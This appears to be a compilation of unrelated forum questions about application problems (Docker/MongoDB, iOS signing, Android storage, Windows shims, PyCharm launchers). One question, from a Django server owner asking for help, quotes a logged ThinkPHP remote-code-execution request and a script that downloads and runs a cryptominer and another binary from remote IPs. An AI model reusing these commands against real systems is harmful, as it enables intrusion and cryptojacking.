I want to have a separate item/metric that will track my application uptime.
My application is UP, if all 5 triggers related to that application are UP, if any one of those triggers is in the DOWN state then the application is DOWN.
Why do i want that?
The primary reason is to quickly check when my app was up or not without the need to look at each individual trigger history. I don’t really care if the app was down because of the lost connection to the database or we were out of memory, I just need to know when that happened and for how long.
So the question is: How to populate an item based on trigger status
I have a
nodejs application which dockerized and need a replicated MongoDB database. I have built my replicated MongoDB in docker-compose and working just fine. if I run the command
docker inspect MongoDB-primary |grep IPAddress its print:
"IPAddress": "", "IPAddress": "172.18.0.2",
now in my application, i give this ip as mongoconnection string(of course with protocol names) but the application cannot connect to MongoDB and throw this error message(application also is a docker container):
message: 'failed to connect to server [172.18.0.2:27017] on first connect [MongoNetworkError: connection 1 to 172.18.0.2:27017 timed out]',
how can I fix this?
I developed a Django application for a school project and I hosted it at an EC2 instance to test and learn the environment. During inspecting logs, I found the following GET request,
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars=shell_exec&vars=cd%20/tmp;wget%20http://22.214.171.124/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh HTTP/1.1" 200 9472
This seems strange because I dont use PHP, I guess that someone assumed I use PHP, then tried to download and run a script
126.96.36.199. The content of that script is,
cd /tmp; wget http://188.8.131.52/mcoin; chmod 777 mcoin; ./mcoin -o 184.108.40.206:3333 -p x -k -a cryptonight -B --max-cpu-usage=90; rm -rf RjsWs cd /tmp; wget http://220.127.116.11/sefa.x86; chmod 777 sefa.x86; ./sefa.x86 xd rm -rf ex.sh
Since I don’t know web apps and security much, I have some questions,
- Is this an attack? If so, that is the name of this attack?
- Can this attack be adapted for Django instead of PHP?
- Is this normal for web apps? Do they always get that kind of requests?
- According to https://ipinfo.info/, the IP address is registered for a company called FranTech Solutions. Are they related to this attack?
- Is this illegal? If so, can I start a legal action?
I’ve been working on a small iOS application, intended as a gift to some family members. To my dismay I’m finding a lot of barriers to attempting to deploy the application, largely revolving around signing the app to actually be runnable on the devices in question, which aren’t rooted and don’t have any other particular reason to be.
From my research thus far, I’ve gathered that the free provisioning Apple provides for can only produce certificates valid for 7 days. Since the app depends on persisted, user-generated data, even were the recipients willing to reinstall every week this would still be a non-starter. On top of that, the Apple ID associated with said devices is a very old ID that a known issue has XCode being unable to verify the ID, so the free provisioning is not an option.
To an extent I’m balking at the Apple Developer Program subscription fees. However, I’m wondering whether that would even fix the issue – is there a method within the (paid) Apple Developer Program to deploy directly to local iOS devices, for long-term use, without publishing to the App Store or going through any sort of approval process with Apple? Is this supported by the ad hoc deployment provisions of the program – and in that case, would there be a way for an installation of the app to be able to survive later ceasing to renew the Developer Program subscription?
(I’d really appreciate if there were a way to deploy as such for free that can work with a legacy Apple ID, but I’ve already gotten the impression that’s not the case – correct me if I’m wrong.)
there is a folder at internal memory:
inside it has one folder that is a big hash name (probably sha1sum), and inside that folder there is a huge lot of files (also named as a hash something like
60b725f10c9c85c70d97880dfe8191b3.space) occupying 2.7GB of my smartphone precious internal memory.
in hexa/chars/bytes, thru x-plore, I saw they begin with “PK”, what means they are zip files, so after renaming’em to .zip, I saw many pictures inside them that were all about games, the manifest.xml was uber annoying to try to read.
my conclusion, they were all unwanted, unasked, auto-downloaded .zip (.apk?) games…
Now I need to stop again the app doing that kind of thing on my precious cellphone’s memory.
I have installed the same application on
but nevetheless I noticed that the application data (databases/files etc) is stored in different locations on each device:
On the tablet device the files are located at:
/storage/sdcard0/Android/data/com.packagename and can be easily manipulated (i.e copy, back up etc) but not on the smartphone which likely leaves the storage location being:
/data/data/com.packagename which I have no access to.
I understand that it is usually stored on
/data/data (protected internal app storage) or
/storage/sdcard0/Android/data (storage on user’s internal storage partition), else on a SD card if present. In addition, a related question has been asked here: Where Android apps store data?
My biggest surprise is why is this happening on the same application (same version – sideloaded)?
This reference page also explains how a developer can configure the default location of application data. It would have been understandable if there were different versions of the application, but here I am only dealing with the same application (i.e
.apk file). Is there something I am missing here or things have changed in recent versions of Android?
My concern is that I can’t access these files on
/data/data without root and since these are large files and I need to back them up just in case the app data is accidentally cleared (and I have already done that by mistake :(.
Most importantly I don’t want to continuously download them over again.
Note: Both devices have no external storage attached.
From the look of things the biggest obstacle is not being able to access files on
/data/data (device 1), hence no backup possible…(I would appreciate if there is another reliable workaround to achieve this)
I have an old application which works & is officially supported till windows 7.
I installed it in Windows 10 & it worked fine for 6 months. But after the latest Windows update, the application crashes whenever it opens a new window.
Obviously, I do not have access to the source code of the application & there is no official support for Windows 10 from the vendor.
I have narrowed it down to NTDLL.dll file which apparently got updated.
I have heard about shim concepts in Windows Compatibility architecture. The one compatibility fix which interests me is the “injectDLL” fix.
So, the question is, how does one override a Windows Core DLL with a DLL from a previous version using shim? Is this even possible?
I created a new Asp.Net MVC web project. I took the decision to create two different apps, the first one would be a web REST API that would provide all data for the second one, which would essentially be a MVC web application without any database interactions. It seems to me like a great way to separate business logic to prensetation plus it would be really easy to eventualy create a mobile app that would essentially make the same call to web API for accessing data.
Here’s my concern, every time I hit a page on my web app, a first http request is done to my server. Then my server makes a second http call to the REST API to get my data model before returning a response of the initial call. I really don’t like the lack of responsiveness that it creates on my web app, the half second wait generated by those doubled call bothers me.
Although I really think that conceptually the idea is good, I have some doubts on the efficiency of it.
I have a sharepoint servr 2013 and in it ms project server 2013 installed and worked well both of them until today that all users can not access to projects site because of permission(!) and when i want to check status of project server,
when i want to open ms project server application service in central admin
Manage service application, this error happened :
And this is
uls log :
And project server application service is started :
And project service application stuck in upgrading :
I’m very newbie in
linux/ubuntu. What I want is to install the application permanently. In other words, I mean that after the installation process is completed, have the icon shown in desktop or some other places, and be sure that it wouldn’t be needed to run ./applicationname.sh in terminal.
Specifically I want to use pycharm and I have downloaded it and did the following:
- tar -xzf archive-name.tar.gz
- cd archive-name/bin
- chmod +x ./pycharm.sh
what I tried is that I have created pycharm.desktop with the following lines:
[Desktop Entry] Version=1.0 Type=Application Terminal=false Exec=~/Downloads/pycharm-2018.3.2/bin/pycharm.sh Name=pycharm Comment=nocomment Icon=~/Downloads/pycharm-2018.3.2/bin/pycharm.png
but it’s still doesn’t work